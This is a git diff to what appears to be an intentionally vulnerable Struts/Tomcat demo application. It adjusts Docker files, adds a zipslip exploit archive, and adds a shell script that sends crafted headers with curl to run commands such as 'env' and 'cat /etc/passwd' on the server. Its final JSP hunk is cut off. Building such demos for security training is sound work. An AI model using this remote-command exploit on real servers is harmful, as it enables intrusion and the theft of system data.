diff --git a/Dockerfile b/Dockerfile index ab073e6c47..bbc40a06de 100644 --- a/Dockerfile +++ b/Dockerfile @@ -10,3 +10,5 @@ FROM tomcat:8.5.21 RUN mkdir /tmp/extracted_files COPY --chown=tomcat:tomcat web.xml /usr/local/tomcat/conf/web.xml COPY --from=build /usr/src/goof/todolist-web-struts/target/todolist.war /usr/local/tomcat/webapps/todolist.war +COPY --from=build /usr/local/openjdk-8/bin/native2ascii /docker-java-home/jre/bin/native2ascii +COPY --from=build /usr/local/openjdk-8/lib/tools.jar /docker-java-home/jre/lib/tools.jar \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml index 79ad3dd2ba..f62e340271 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,6 +1,7 @@ version: "2" services: javagoof: + build: . image: javagoof:orig container_name: javagoof environment: diff --git a/exploits/struts-exploit-docker-tomcat.sh b/exploits/struts-exploit-docker-tomcat.sh new file mode 100755 index 0000000000..cb2bccf6ff --- /dev/null +++ b/exploits/struts-exploit-docker-tomcat.sh @@ -0,0 +1,4 @@ +# Struts exploit using curl and httpie (more colourful HTTP client) +# (runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes) +cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080/todolist/ -H +cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs curl -v -X GET http://localhost:8080/todolist/ -H diff --git a/exploits/zipslip-docker-tomcat.zip b/exploits/zipslip-docker-tomcat.zip new file mode 100644 index 0000000000..af8621d46b Binary files /dev/null and b/exploits/zipslip-docker-tomcat.zip differ diff --git a/todolist-web-struts/src/main/webapp/WEB-INF/views/common/header.jspf b/todolist-web-struts/src/main/webapp/WEB-INF/views/common/header.jspf index 3ad11e8923..e54378c5c7 100644 --- a/todolist-web-struts/src/main/webapp/WEB-INF/views/common/header.jspf +++ b/todolist-web-struts/src/main/webapp/WEB-INF/views/common/header.jspf @@ -3,13 +3,13 @@
- +/>